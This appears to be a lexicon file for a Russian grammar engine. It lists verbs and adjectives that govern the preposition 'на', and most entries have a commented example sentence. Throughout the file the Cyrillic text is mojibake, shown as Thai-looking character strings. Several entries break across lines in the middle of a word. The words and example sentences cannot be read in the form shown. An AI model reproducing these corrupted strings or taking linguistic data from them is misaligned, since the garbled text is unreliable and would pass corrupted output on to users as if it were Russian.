rus_verbs:ะะซะะะะขะฌ{}, // ะฒัะทะฒะฐัั ัะฒะพะตะณะพ ะฑัะฐัะฐ ะฝะฐ ะฟะพะตะดะธะฝะพะบ. (ะะซะะะะขะฌ)
rus_verbs:ะะะะ ะซะะะะขะฌ{}, // ะะฐััะพั ะฟะพะฑััะทะณะฐะป ะฝะตะผะฝะพะณะพ ัะธะผะธะฐะผะฐ ะฝะฐ ะบัะพัะตัะฝัะน ะพะณะพะฝั (ะะะะ ะซะะะะขะฌ/ะะ ะซะะะะขะฌ/ะะ ะซะะะฃะขะฌ/ะะะะะฃะขะฌ/ะะะะะขะฌ/ะะะะะะะขะฌ)
rus_verbs:ะะ ะซะะะะขะฌ{},
rus_verbs:ะะ ะซะะะฃะขะฌ{},
rus_verbs:ะะะะะฃะขะฌ{},
rus_verbs:ะะะะะขะฌ{},
rus_verbs:ะะะะะะะขะฌ{},
rus_verbs:ะะะะฅะะขะะขะฌะกะฏ{}, // ะั ะผะพะถะตะผ ะบะพะณะดะฐ-ะฝะธะฑัะดั ะฒะตัะฝััััั ะธ ะฟะพะพั
ะพัะธัััั ะฝะฐ ะฝะตะณะพ. (ะะะะฅะะขะะขะฌะกะฏ/ะะฅะะขะะขะฌะกะฏ)
rus_verbs:ะะฅะะขะะขะฌะกะฏ{}, //
rus_verbs:ะะะะะกะขะฌะกะฏ{}, // ะะต ะดัะผะฐะป ั, ััะพ ะพะฝะธ ะฟะพะฟะฐะดัััั ะฝะฐ ััะพ (ะะะะะกะขะฌะกะฏ/ะะะ ะะะขะฌะกะฏ/ะะะขะะะะะฃะขะฌะกะฏ)
rus_verbs:ะะะ ะะะขะฌะกะฏ{}, //
rus_verbs:ะะะขะะะะะฃะขะฌะกะฏ{}, //
rus_verbs:ะะซะกะะะขะฌ{}, // ะะฝ ะฒััะปะฐะป ัะฐะทะฒะตะดัะธะบะพะฒ ะฝะฐ ะฑะพะปััะพะต ัะฐัััะพัะฝะธะต ะพั ะพัะฝะพะฒะฝะพะณะพ ะพัััะดะฐ. (ะะซะกะะะขะฌ)
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะะะฅะะะะ{}, // ะขั ะฝะต ะฒัะณะปัะดะธัั ะฟะพั
ะพะถะธะผ ะฝะฐ ะธะฝะดะตะนัะฐ (ะะะฅะะะะ)
rus_verbs:ะ ะะะะ ะะะขะฌ{}, // ะงะตัะตะท ะผะธะฝััั ะพะฝ ะฑัะป ะผะตััะฒ ะธ ัะฐะทะพัะฒะฐะฝ ะฝะฐ ัะฐััะธ. (ะ ะะะะ ะะะขะฌ)
rus_verbs:ะกะขะะะะะฃะขะฌ{}, // ะขะพะปัะบะพ ะฑัััััะผะธ ะฒัะฟะฐะดะฐะผะธ ะบะพะฟัั ะพะฝ ััะผะตะป ััะพะปะบะฝััั ะธั
ะพะฑัะฐัะฝะพ ะฝะฐ ะบะฐัะฝะธะท. (ะกะขะะะะะฃะขะฌ/ะกะขะะะะะะะขะฌ)
rus_verbs:ะกะขะะะะะะะขะฌ{}, //
rus_verbs:ะกะะฃะกะขะะขะฌ{}, // ะฏ ะฟะพะฑะตะถะฐะป ะบ ะฝะธะผ, ะฝะพ ะพะฝะธ ะบ ัะพะผั ะฒัะตะผะตะฝะธ ัะฟัััะธะปะธ ะปะพะดะบั ะฝะฐ ะฒะพะดั (ะกะะฃะกะขะะขะฌ)
rus_verbs:ะะะ ะะะ ะะกะซะะะขะฌ{}, // ะกะธัะธั ะฟะตัะตะฑัะฐััะฒะฐะตั ะฝะฐ ัะณ ัััะฐะฝั ะฒะพะธะฝัะบะธะต ะฟะพะดะบัะตะฟะปะตะฝะธั (ะะะ ะะะ ะะกะซะะะขะฌ, ะะะ ะะะ ะะกะะขะฌ, ะะะะ ะะกะซะะะขะฌ, ะะะะ ะะกะะขะฌ)
rus_verbs:ะะะ ะะะ ะะกะะขะฌ{}, //
rus_verbs:ะะะะ ะะกะซะะะขะฌ{}, //
rus_verbs:ะะะะ ะะกะะขะฌ{}, //
rus_verbs:ะกะะะ ะะฃะขะฌ{}, // ะะฝ ะฒัะฒะตะป ะผะฐัะธะฝั ะฝะฐ ะฑัะปัะฒะฐั ะธ ะฟะพะตั
ะฐะป ะฝะฐ ะฒะพััะพะบ, ะฐ ะทะฐัะตะผ ัะฒะตัะฝัะป ะฝะฐ ัะณ. (ะกะะะ ะะฃะขะฌ/ะกะะะ ะะงะะะะขะฌ/ะะะะะ ะะฃะขะฌ/ะะะะะ ะะงะะะะขะฌ)
rus_verbs:ะกะะะ ะะงะะะะขะฌ{}, // //
rus_verbs:ะะะะะ ะะฃะขะฌ{}, //
rus_verbs:ะะะะะ ะะงะะะะขะฌ{}, //
rus_verbs:ะฝะฐะพัะฐัั{},
rus_verbs:ะะ ะะะะะะฃะขะฌะกะฏ{}, // ะะพะปะบ ะฟัะพะดะฒะธะฝะตััั ะฝะฐ ะดะตัััะบะธ ะบะธะปะพะผะตััะพะฒ (ะะ ะะะะะะฃะขะฌะกะฏ)
rus_verbs:ะะ ะะกะะขะฌ{}, // ะะฝ ะฑัะพัะฐะตั ะพะฑะตัะฐะฝะธั ะฝะฐ ะฒะตัะตั (ะะ ะะกะะขะฌ)
rus_verbs:ะะะะะะะขะฌ{}, // ะฏ ะฒะฐะผ ะพะดะพะปะถั ะบะฝะธะณั ะฝะฐ ะดะตัััั ะดะฝะตะน (ะะะะะะะขะฌ)
rus_verbs:ะฟะตัะตะณะฝะฐัั{}, // ะกะบะพั ะฝัะถะฝะพ ะฟะตัะตะณะฝะฐัั ั ััะพะณะพ ะฟะฐััะฑะธัะฐ ะฝะฐ ะดััะณะพะต
rus_verbs:ะฟะตัะตะณะพะฝััั{},
rus_verbs:ะฒัะณะพะฝััั{},
rus_verbs:ะฒัะณะฝะฐัั{},
rus_verbs:ะกะะะะะขะฌะกะฏ{}, // ัะตะนัะฐั ะฟะฐะฝะตะปะธ ะบัะทะพะฒะพะฒ ัะฐัั
ะพะดัััั ะฟะพ ะดะตัััะบะฐะผ ะฟะพะบัะฐัะพัะฝัั
ะฟะพััะพะฒ ะธ ะฟะพัะพะผ ัะฒะพะดัััั ะฒะฝะพะฒั ะฝะฐ ะพะฑัะธะน ะบะพะฝะฒะตะนะตั (ะกะะะะะขะฌะกะฏ)
rus_verbs:ะะะะะ ะขะะะะะขะฌ{}, // ะัะฒัะธะน ััะฝะบัะธะพะฝะตั ะบะพะผะฟะฐััะธะธ ะญััะพะฝะธะธ ะฟะพะถะตััะฒะพะฒะฐะป ะดะตะฝัะณะธ ะฝะฐ ัะฐััะปะตะดะพะฒะฐะฝะธั ะฟัะตัััะฟะปะตะฝะธะน ะบะพะผะผัะฝะธะทะผะฐ (ะะะะะ ะขะะะะะขะฌ)
rus_verbs:ะะ ะะะะ ะฏะขะฌ{}, // ะจะบะพะปัะฝะธะบะพะฒ ะฑัะดัั ะฟัะธะฝัะดะธัะตะปัะฝะพ ะฟัะพะฒะตัััั ะฝะฐ ะบััะตะฝะธะต (ะะ ะะะะ ะฏะขะฌ)
rus_verbs:ะะขะะฃะกะขะะขะฌ{}, // ะัะธััะฐะฒั ะพัะฟััััั ะดะพะปะถะฝะธะบะพะฒ ะฝะฐ ะพัะดัั
(ะะขะะฃะกะขะะขะฌ)
rus_verbs:ะธัะฟะพะปัะทะพะฒะฐัััั{}, // ะธะผะตััะธะนัั ั ะณะพััะดะฐัััะฒะฐ ะดะตะฝะตะถะฝัะน ะทะฐะฟะฐั ะฐะบัะธะฒะฝะพ ะธัะฟะพะปัะทัะตััั ะฝะฐ ะฟะพะดะดะตัะถะฐะฝะธะต ััะฝะบะฐ ะฐะบัะธะน
rus_verbs:ะฝะฐะทะฝะฐัะฐัััั{}, // ะฝะฐะทะฝะฐัะฐัััั ะฝะฐ ะฟะพัั
rus_verbs:ะฝะฐะฑะปัะดะฐัั{}, // ะกัะดัั , ะดะพะปะณะพ ะฝะฐะฑะปัะดะฐะฒัะธะน ะฒ ัััะฑั , ะฒะดััะณ ะฒัะบัะธัะฐะป
rus_verbs:ะจะะะะะะขะฌ{}, // ะะฐะฝะฐะดัะบะพะณะพ ะพัะธัะตัะฐ, ัะฟะธะพะฝะธะฒัะตะณะพ ะฝะฐ ะ ะพััะธั, ะฟัะธะณะพะฒะพัะธะปะธ ะบ 20 ะณะพะดะฐะผ ััััะผั (ะจะะะะะะขะฌ ะะ ะฒะธะฝ)
rus_verbs:ะะะะะะะะ ะะะะขะฌ{}, // ะฒัะต ะดะตะฝัะณะธ , ะทะฐะฟะปะฐะฝะธัะพะฒะฐะฝะฝัะต ะฝะฐ ัะตะนัะผะพัะบัะตะฟะปะตะฝะธะต ะดะพะผะพะฒ ะฝะฐ ะะฐะผัะฐัะบะต (ะะะะะะะะ ะะะะขะฌ ะะ)
// rus_verbs:ะะะฅะะะะขะฌ{}, // ะฑะพะปััะต ะฟะพั
ะพะดะธะป ะฝะฐ ะพะฑะฒะธะฝะธัะตะปัะฝัั ัะตัั , ะฐะดัะตัะพะฒะฐะฝะฝัั ััะบะพะฒะพะดััะฒั ัะตัะฟัะฑะปะธะบะธ (ะะะฅะะะะขะฌ ะะ)
rus_verbs:ะะะะกะขะะะะะขะฌ{}, // ะฒััะฒะปะตะฝะฝัะน ะบะพะฝััะฐะฑะฐะฝะดะฝัะน ะบะฐะฝะฐะป ะดะตะนััะฒะพะฒะฐะป ะฝะฐ ะฟะพััะพัะฝะฝะพะน ะพัะฝะพะฒะต (ะะะะกะขะะะะะขะฌ ะะ)
rus_verbs:ะะะ ะะะะขะฌ{}, // ะฟะพัะปะต ัะตะณะพ ะดะพะปะถะฝะพ ะฑััั ะฟะตัะตะดะฐะฝะพ ะฝะฐ ัะฐััะผะพััะตะฝะธะต ััะดะฐ (ะะะ ะะะะขะฌ ะะ ะฒะธะฝ)
rus_verbs:ะะะะะะงะะขะฌะกะฏ{}, // ะะธะผะพะน ะฝะฐ ััั ะดะพะปะถะฝะพััั ะฟััะฐะปัั ะฝะฐะทะฝะฐัะธัััั ะฝะฐัะพะดะฝัะน ะดะตะฟััะฐั (ะะะะะะงะะขะฌะกะฏ ะะ)
rus_verbs:ะ ะะจะะขะฌะกะฏ{}, // ะคัะฐะฝัะธั ัะตัะธะปะฐัั ะฝะฐ ะพะดะฝะพััะพัะพะฝะฝะตะต ะธ ัะธัะบะพะฒะฐะฝะฝะพะต ะฒะพะตะฝะฝะพะต ะฒะผะตัะฐัะตะปัััะฒะพ (ะ ะะจะะขะฌะกะฏ ะะ)
rus_verbs:ะะ ะะะะขะะ ะะะะขะฌ{}, // ะญัะพั ะฑัะฐัะทะตั ะฟะพะปะฝะพัััั ะพัะธะตะฝัะธัะพะฒะฐะฝ ะฝะฐ ะฟะปะฐะฝัะตัั ะธ ัะตะฝัะพัะฝัะน ะฒะฒะพะด (ะะ ะะะะขะะ ะะะะขะฌ ะะ ะฒะธะฝ)
rus_verbs:ะะะะะกะขะ{}, // ะฝะฐ ะะธััะบั ะทะฐะฒะตะปะธ ะดะตะปะพ (ะะะะะกะขะ ะะ)
rus_verbs:ะะะ ะฃะจะะขะฌะกะฏ{}, // ะ ะกะตะฒะตัะฝะพะน ะัะตัะธะธ ะฝะฐ ะฒะพะธะฝัะบัั ัะฐััั ะพะฑัััะธะปะฐัั ัะฝะตะถะฝะฐั ะปะฐะฒะธะฝะฐ (ะะะ ะฃะจะะขะฌะกะฏ ะ, ะะ)
rus_verbs:ะะะกะขะ ะะะะะขะฌะกะฏ{}, // ะณะตัะตัะพะดะธะฝ, ะฝะฐัััะฐะธะฒะฐััะธะนัั ะฝะฐ ะฒะพะปะฝั (ะะะกะขะ ะะะะะขะฌะกะฏ ะะ)
rus_verbs:ะกะฃะฉะะกะขะะะะะขะฌ{}, // ะะฝ ัััะตััะฒัะตั ะฝะฐ ััะตะดััะฒะฐ ัะพะดะธัะตะปะตะน. (ะกะฃะฉะะกะขะะะะะขะฌ ะะ)
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ัะฟะพัะพะฑะฝัะน{}, // ะะฝ ัะฟะพัะพะฑะตะฝ ะฝะฐ ัะฑะธะนััะฒะพ. (ะกะะะกะะะะซะ ะะ)
rus_verbs:ะฟะพััะฟะฐัััั{}, // ะฝะฐ ะะธะฝั ะฟะพััะฟะฐะปะธัั ัะฝะตะถะธะฝะบะธ
ะธะฝัะธะฝะธัะธะฒ:ะฝะฐัะตะทะฐัััั{ ะฒะธะด:ะฝะตัะพะฒะตัั }, // ะฃัะพะถะฐะน ัะพะฑะธัะฐัั ะผะตั
ะฐะฝะธัะตัะบะธ ะธะปะธ ะฒัััะฝัั, ััะตะฑะปะธ ะฝะฐัะตะทะฐัััั ะฝะฐ ะบััะบะธ ะธ ะฑััััะพ ััะฐะฝัะฟะพััะธัััััั ะฝะฐ ะฟะตัะตัะฐะฑะฐััะฒะฐััะธะน ะทะฐะฒะพะด.
ะณะปะฐะณะพะป:ะฝะฐัะตะทะฐัััั{ ะฒะธะด:ะฝะตัะพะฒะตัั },
rus_verbs:ะฟะพะถะฐะปะพะฒะฐัั{}, // ัะบะฐะฝะดะฐะปัะฝะพ ะธะทะฒะตััะฝัะน ะฟะตะฒะตั ะฟะพะถะฐะปะพะฒะฐะป ะบ ะฝะฐะผ ะฝะฐ ะฟะตัะตะดะฐัั
rus_verbs:ะฟะพะบะฐะทะฐัั{}, // ะะฐะดะธะผ ะฟะพะบะฐะทะฐะป ะฝะฐ ะะพะปั
rus_verbs:ััะตั
ะฐัััั{}, // ะคะธะฝะฐะปะธััั ััะตั
ะฐะปะธัั ะฝะฐ ัะฒะพะธ ะธะณัั ะฒ ะะพั-ะะฝะถะตะปะตั. (ะกะชะะฅะะขะฌะกะฏ ะะ, ะ)
rus_verbs:ัะฐััะตะฟะปััััั{}, // ะกะฐั
ะฐัะพะทะฐ ะถะต ะฑััััะพ ัะฐััะตะฟะปัะตััั ะฒ ะฟะธัะตะฒะฐัะธัะตะปัะฝะพะผ ััะฐะบัะต ะฝะฐ ะณะปัะบะพะทั ะธ ัััะบัะพะทั (ะ ะะกะฉะะะะฏะขะฌะกะฏ ะ, ะะ)
rus_verbs:ัะฟะฐััั{}, // ะ ะขะฐะธะปะฐะฝะดะต ะฝะฐ ะฐะฒัะพะฑัั ั ัะพััะธะนัะบะธะผะธ ัััะธััะฐะผะธ ัะฟะฐะป ะฑะฐัะตะฝะฝัะน ะบัะฐะฝ (ะฃะะะกะขะฌ ะ, ะะ)
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ััะณะพะน{}, // ะะฐะฑััะบะฐ ััะณะฐ ะฝะฐ ัั
ะพ. (ะขะฃะะะ ะะ)
rus_verbs:ัะฒะธัะฐัั{}, // ะะพะปะพัั ัะฒะธัะฐัั ะฝะฐ ะปะพะฑ. (ัะฒะธัะฐัั ะฝะฐ)
rus_verbs:ะฆะะะะขะฌะกะฏ{}, // ะััะบะฐั ัะฐะฑะพัะฐั ััะบะฐ ัะตะฝะธะปะฐัั ะฝะฐ ะฒะตั ะทะพะปะพัะฐ. (ะฆะะะะขะฌะกะฏ ะะ)
rus_verbs:ะจะฃะะะขะฌ{}, // ะั ััะผะธัะต ะฝะฐ ะฒะตัั ะดะพะผ! (ะจะฃะะะขะฌ ะะ)
rus_verbs:ะฟัะพััะฝััััั{}, // ะะพัะพะณะฐ ะฟัะพััะฝัะปะฐัั ะฝะฐ ัะพัะฝะธ ะบะธะปะพะผะตััะพะฒ. (ะฟัะพััะฝััััั ะฝะฐ)
rus_verbs:ะ ะะกะกะงะะขะะขะฌ{}, // ะะฝะธะณะฐ ัะฐัััะธัะฐะฝะฐ ะฝะฐ ะผะฐััะพะฒะพะณะพ ัะธัะฐัะตะปั. (ะ ะะกะกะงะะขะะขะฌ ะะ)
rus_verbs:ะกะะ ะะะะขะะ ะะะะขะฌ{}, // ะผั ัะพัะธะตะฝัะธัะพะฒะฐะปะธ ะฟัะพัะตัั ะฝะฐ ะฟะพะฒััะตะฝะธะต ะบะพัะธัะพะฒะพะบ (ะกะะ ะะะะขะะ ะะะะขะฌ ะะ)
rus_verbs:ััะบะฝััั{}, // ััะบะฝััั ะฝะฐ ะพััะฐะปัะฝัั
ัะปะตะฝะพะฒ ััะฐะธ (ััะบะฝััั ะฝะฐ)
rus_verbs:ะพะบะฐะฝัะธะฒะฐัััั{}, // ะพะบะฐะฝัะธะฒะฐัััั ะฝะฐ ะทะฒะพะฝะบัั ัะพะณะปะฐัะฝัั (ะพะบะฐะฝัะธะฒะฐัััั ะฝะฐ)
rus_verbs:ะฒัะตั
ะฐัั{}, // ะฟะพัะธะณะฝะฐะปะธัั ะฝะฐัััะธัะตะปั, ะฒัะตั
ะฐะฒัะตะผั ะฝะฐ ะฒัััะตัะฝัั ะฟะพะปะพัั (ะฒัะตั
ะฐัั ะฝะฐ)
rus_verbs:ะฟัะธะนัะธัั{}, // ะััะพะต ัะธัะปะพ ะฟัะธัะปะพัั ะฝะฐ ััะฑะฑะพัั.
rus_verbs:ะบัะตะฝะธัััั{}, // ะบะพัะฐะฑะปั ะบัะตะฝะธะปัั ะฝะฐ ะฟัะฐะฒัะน ะฑะพัั (ะบัะตะฝะธัััั ะฝะฐ)
rus_verbs:ะฟัะธั
ะพะดะธัััั{}, // ะพัะฝะพะฒะฝะพะน ะฝะฐะปะพะณะพะฒัะน ะณะฝะตั ะฟัะธั
ะพะดะธััั ะฝะฐ ััะตะดะฝะธะน ะฑะธะทะฝะตั (ะฟัะธั
ะพะดะธัััั ะฝะฐ)
rus_verbs:ะฒะตัะธัั{}, // ะฒะตัะธัั ะปัะดัะผ ะฝะฐ ัะปะพะฒะพ (ะฒะตัะธัั ะฝะฐ ัะปะพะฒะพ)
rus_verbs:ะฒัะตะทะถะฐัั{}, // ะะฐะฒััะฐ ะฒัั ัะตะผัั ะฒัะตะทะถะฐะตั ะฝะฐ ะฝะพะฒัั ะบะฒะฐััะธัั.
rus_verbs:ะทะฐะฟะธัะฐัั{}, // ะะฐะฟะธัะธัะต ะผะตะฝั ะฝะฐ ะทะฐะฒััะฐัะฝะธะน ะฟัะธัะผ ะบ ะดะพะบัะพัั.
rus_verbs:ะฟะฐััั{}, // ะัะตะฑะธะน ะฟะฐะป ะฝะฐ ะผะตะฝั.
rus_verbs:ะตะทะดะธัั{}, // ะัะตัะฐ ะผั ะตะทะดะธะปะธ ะฝะฐ ะพะฟะตัั.
rus_verbs:ะฒะปะตะทัั{}, // ะะฐะปััะธะบ ะฒะปะตะท ะฝะฐ ะดะตัะตะฒะพ.
rus_verbs:ะฒัะฑะตะถะฐัั{}, // ะะฐะปััะธะบ ะฒัะฑะตะถะฐะป ะธะท ะบะพะผะฝะฐัั ะฝะฐ ัะปะธัั.
rus_verbs:ัะฐะทะฑะธัััั{}, // ะพะบะฝะพ ัะฐะทะฑะธะปะพัั ะฝะฐ ะผะตะปะบะธะต ะพัะบะพะปะบะธ
rus_verbs:ะฑะตะถะฐัั{}, // ั ะฑะตะณั ะฝะฐ ััะพะบ
rus_verbs:ัะฑะตะณะฐัััั{}, // ัะฑะตะณะฐัััั ะฝะฐ ะฟัะพะธััะตััะฒะธะต
rus_verbs:ะฟัะธััะปะฐัั{}, // ะฟัะธััะปะฐัั ะฝะฐ ะธัะฟััะฐะฝะธะต
rus_verbs:ะฝะฐะดะฐะฒะธัั{}, // ะฝะฐะดะฐะฒะธัั ะฝะฐ ะฟะตะดะฐัั
rus_verbs:ะฒะฝะตััะธ{}, // ะฒะฝะตััะธ ะทะฐะบะพะฝะพะฟัะพะตะบั ะฝะฐ ัะฐััะผะพััะตะฝะธะต
rus_verbs:ะฒะฝะพัะธัั{}, // ะฒะฝะพัะธัั ะทะฐะบะพะฝะพะฟัะพะตะบั ะฝะฐ ัะฐััะผะพััะตะฝะธะต
rus_verbs:ะฟะพะฒะพัะฐัะธะฒะฐัััั{}, // ะฟะพะฒะพัะฐัะธะฒะฐัััั ะฝะฐ 180 ะณัะฐะดััะพะฒ
rus_verbs:ัะดะฒะธะฝััั{}, // ัะดะฒะธะฝััั ะฝะฐ ะฝะตัะบะพะปัะบะพ ัะฐะฝัะธะผะตััะพะฒ
rus_verbs:ะพะฟัะฑะปะธะบะพะฒะฐัั{}, // ะก.ะะธััะพั
ะธะฝ ะพะฟัะฑะปะธะบะพะฒะฐะป ะบะพะผะฟัะพะผะฐั ะฝะฐ ะดัะผัะบะธั
ะฟะพะดะตะปัะฝะธะบะพะฒ ะัะดะบะพะฒะฐ
rus_verbs:ะฒััะฐััะธ{}, // ะัะธัะธะฐะปัะฝัะน ะบััั ะดะพะปะปะฐัะฐ ะฒััะพั ะฝะฐ 26 ะบะพะฟะตะตะบ.
rus_verbs:ะพะณะปัะดัะฒะฐัััั{}, // ะพะณะปัะดัะฒะฐัััั ะฝะฐ ะดะตะฒััะตะบ
rus_verbs:ัะฐัั
ะพะดะธัััั{}, // ัะฐัั
ะพะดะธัััั ะฝะฐ ะพัะดัั
rus_verbs:ะฟะพัะบะฐะบะฐัั{}, // ะฟะพัะบะฐะบะฐัั ะฝะฐ ัะปัะถะฑั
rus_verbs:ะฟััะณะฐัั{}, // ะฟััะณะฐัั ะฝะฐ ััะตะฝั
rus_verbs:ะฟัะธะณะปะฐัะฐัั{}, // ะฟัะธะณะปะฐัะฐัั ะฝะฐ ะพะฑะตะด
rus_verbs:ัะฒะฐัััั{}, // ะััะพะบ ัะบะฐะฝะธ ัะฒะตััั ะฝะฐ ัะฐััะธ
rus_verbs:ะฟะพะฝะตััะธัั{}, // ะฟะพะฝะตััะธัั ะฝะฐ ะฒะพะปั
rus_verbs:ัะฐัะฟัะพัััะฐะฝััััั{}, // ัะฐัะฟัะพัััะฐะฝััััั ะฝะฐ ะฒัะตั
ะถะธัะตะปะตะน ััะฐัะฐ
ะธะฝัะธะฝะธัะธะฒ:ะฟัะพััะฟะฐัััั{ ะฒะธะด:ัะพะฒะตัั }, ะณะปะฐะณะพะป:ะฟัะพััะฟะฐัััั{ ะฒะธะด:ัะพะฒะตัั }, // ะฟัะพััะฟะฐัััั ะฝะฐ ะฟะพะป
ะธะฝัะธะฝะธัะธะฒ:ะฟัะพััะฟะฐัััั{ ะฒะธะด:ะฝะตัะพะฒะตัั }, ะณะปะฐะณะพะป:ะฟัะพััะฟะฐัััั{ ะฒะธะด:ะฝะตัะพะฒะตัั },
ะดะตะตะฟัะธัะฐััะธะต:ะฟัะพััะฟะฐะฒัะธัั{}, ะดะตะตะฟัะธัะฐััะธะต:ะฟัะพััะฟะฐััั{},
rus_verbs:ะทะฐะตั
ะฐัั{}, // ะทะฐะตั
ะฐัั ะฝะฐ ะฟะฐะฝะดัั
rus_verbs:ัะฐะทะพะฑัะฐัั{}, // ัะฐะทะพะฑัะฐัั ะฝะฐ ัะพััะฐะฒะปัััะธะต
rus_verbs:ะพะฟััะบะฐัััั{}, // ะพะฟััะบะฐัััั ะฝะฐ ะบะพะปะตะฝะธ
rus_verbs:ะฟะตัะตะตั
ะฐัั{}, // ะฟะตัะตะตั
ะฐัั ะฝะฐ ะบะพะฝัะฟะธัะฐัะธะฒะฝัั ะบะฒะฐััะธัั
rus_verbs:ะทะฐะบััะฒะฐัั{}, // ะทะฐะบััะฒะฐัั ะณะปะฐะทะฐ ะฝะฐ ะดะตะนััะฒะธั ะบะพะฝะบััะตะฝัะพะฒ
rus_verbs:ะฟะพะผะตััะธัั{}, // ะฟะพะผะตััะธัั ะฝะฐ ะฟะพะดะฝะพั
rus_verbs:ะพัั
ะพะดะธัั{}, // ะพัั
ะพะดะธัั ะฝะฐ ะฟะพะดะณะพัะพะฒะปะตะฝะฝัะต ะฟะพะทะธัะธะธ
rus_verbs:ััะฟะฐัััั{}, // ััะฟะฐัััั ะฝะฐ ะฟะปะตัะธ
rus_verbs:ะพัะฒะตะทัะธ{}, // ะพัะฒะตะทัะธ ะฝะฐ ะทะฐะฝััะธั
rus_verbs:ะฝะฐะบะธะฝััั{}, // ะฝะฐะบะธะฝััั ะฝะฐ ะฟะปะตัะธ
rus_verbs:ะพัะปะตัะตัั{}, // ะพัะปะตัะตัั ะฝะฐ ะฟะพะป
rus_verbs:ะทะฐะบะธะฝััั{}, // ะทะฐะบะธะฝััั ะฝะฐ ัะตัะดะฐะบ
rus_verbs:ะทะฐัะธะฟะตัั{}, // ะทะฐัะธะฟะตัั ะฝะฐ ัะพะฑะฐะบั
rus_verbs:ะฟัะพะณัะตะผะตัั{}, // ะฟัะพะณัะตะผะตัั ะฝะฐ ะฒัั ัััะฐะฝั
rus_verbs:ะฟะพะฒะฐะปะธัั{}, // ะฟะพะฒะฐะปะธัั ะฝะฐ ััะพะป
rus_verbs:ะพะฟะตัะตัั{}, // ะพะฟะตัะตัั ะฝะฐ ััะฝะดะฐะผะตะฝั
rus_verbs:ะทะฐะฑัะพัะธัั{}, // ะทะฐะฑัะพัะธัั ะฝะฐ ะฐะฝััะตัะพะปั
rus_verbs:ะฟะพะดะตะนััะฒะพะฒะฐัั{}, // ะฟะพะดะตะนััะฒะพะฒะฐัั ะฝะฐ ะผะฐัะตัะธะฐะป
rus_verbs:ัะฐะทะดะตะปััั{}, // ัะฐะทะดะตะปััั ะฝะฐ ัะฐััะธ
rus_verbs:ะฟัะธะบัะธะบะฝััั{}, // ะฟัะธะบัะธะบะฝััั ะฝะฐ ะดะตัะตะน
rus_verbs:ัะฐะทะปะพะถะธัั{}, // ัะฐะทะปะพะถะธัั ะฝะฐ ะผะฝะพะถะธัะตะปะธ
rus_verbs:ะฟัะพะฒะพะถะฐัั{}, // ะฟัะพะฒะพะถะฐัั ะฝะฐ ัะฐะฑะพัั
rus_verbs:ะบะฐัะธัั{}, // ะบะฐัะธัั ะฝะฐ ัััะพะนะบั
rus_verbs:ะฝะฐะปะพะถะธัั{}, // ะฝะฐะปะพะถะธัั ะทะฐะฟัะตั ะฝะฐ ะฟัะพะฒะตะดะตะฝะธะต ะพะฟะตัะฐัะธะน ั ะฝะตะดะฒะธะถะธะผะพัััั
rus_verbs:ัะพั
ัะฐะฝััั{}, // ัะพั
ัะฐะฝััั ะฝะฐ ะฟะฐะผััั
rus_verbs:ะทะปะธัััั{}, // ะทะปะธัััั ะฝะฐ ะดััะณะฐ
rus_verbs:ะพะฑะพัะฐัะธะฒะฐัััั{}, // ะพะฑะพัะฐัะธะฒะฐัััั ะฝะฐ ัะฒะธัั
rus_verbs:ัะฟะพะปะทัะธ{}, // ัะฟะพะปะทัะธ ะฝะฐ ะทะตะผะปั
rus_verbs:ะทะฐะฟะธััะฒะฐัั{}, // ะทะฐะฟะธััะฒะฐัั ะฝะฐ ะปะตะฝัั
rus_verbs:ะทะฐะณะฝะฐัั{}, // ะทะฐะณะฝะฐัั ะฝะฐ ะดะตัะตะฒะพ
rus_verbs:ะทะฐะฑะพัะผะพัะฐัั{}, // ะทะฐะฑะพัะผะพัะฐัั ะฝะฐ ัั
ะพ
rus_verbs:ะฟัะพัะธัะฝััััั{}, // ะฟัะพัะธัะฝััััั ะฝะฐ ัะฐะผัะน ะบัะฐะน
rus_verbs:ะทะฐัะพัะพะฟะธัััั{}, // ะทะฐัะพัะพะฟะธัััั ะฝะฐ ะฒัััะตะฝะธะต ะฟัะตะผะธะธ
rus_verbs:ะณะฐัะบะฝััั{}, // ะณะฐัะบะฝััั ะฝะฐ ัะฐะปัะฝะพะฒ
rus_verbs:ะฝะฐะฒะฐะปะธัััั{}, // ะฝะฐะฒะฐะปะธัััั ะฝะฐ ะฒะธะฝะพะฒะฝะธะบะฐ ะฒัะตะน ัะพะปะฟะพะน
rus_verbs:ะฟัะพัะบะพะปัะทะฝััั{}, // ะฟัะพัะบะพะปัะทะฝััั ะฝะฐ ะบัััั ะดะพะผะฐ
rus_verbs:ะฟะพะดััะฝััั{}, // ะฟะพะดััะฝััั ะฝะฐ ะฟะฐะปัะฑั
rus_verbs:ัะบะฐัะธัััั{}, // ัะบะฐัะธัััั ะฝะฐ ะดะฒะพะนะบะธ
rus_verbs:ะดะฐะฒะธัั{}, // ะดะฐะฒะธัั ะฝะฐ ะถะฐะปะพััั
rus_verbs:ะฝะฐะผะตะบะฝััั{}, // ะฝะฐะผะตะบะฝััั ะฝะฐ ะฝะพะฒัะต ะพะฑััะพััะตะปัััะฒะฐ
rus_verbs:ะทะฐะผะฐั
ะฝััััั{}, // ะทะฐะผะฐั
ะฝััััั ะฝะฐ ัะฒััะพะต
rus_verbs:ะทะฐะผะตะฝะธัั{}, // ะทะฐะผะตะฝะธัั ะฝะฐ ัะฒะตะถัั ัะฐะปัะตัะบั
rus_verbs:ัะฒะฐะปะธัั{}, // ัะฒะฐะปะธัั ะฝะฐ ะทะตะผะปั
rus_verbs:ััะตะบะฐัั{}, // ััะตะบะฐัั ะฝะฐ ะพะณะพะปะตะฝะฝัะต ะฟัะพะฒะพะดะฐ
rus_verbs:ัะฒะตะปะธัะธะฒะฐัััั{}, // ัะฒะตะปะธัะธะฒะฐัััั ะฝะฐ ัะพัะฝั ะฟัะพัะตะฝัะพะฒ
rus_verbs:ัะฐะทะฒะฐะปะธัััั{}, // ัะฐะทะฒะฐะปะธัััั ะฝะฐ ัะฐััะธ
rus_verbs:ัะตัะดะธัััั{}, // ัะตัะดะธัััั ะฝะฐ ัะพะฒะฐัะธัะฐ
rus_verbs:ะพะฑัะพะฝะธัั{}, // ะพะฑัะพะฝะธัั ะฝะฐ ะฟะพะป
rus_verbs:ะฟะพะดัะตััั{}, // ะฟะพะดัะตััั ะฝะฐ ะฝะฐัะบะพัั
rus_verbs:ัะตะฐะณะธัะพะฒะฐัั{}, // ัะตะฐะณะธัะพะฒะฐัั ะฝะฐ ะธะผะฟัะปััั
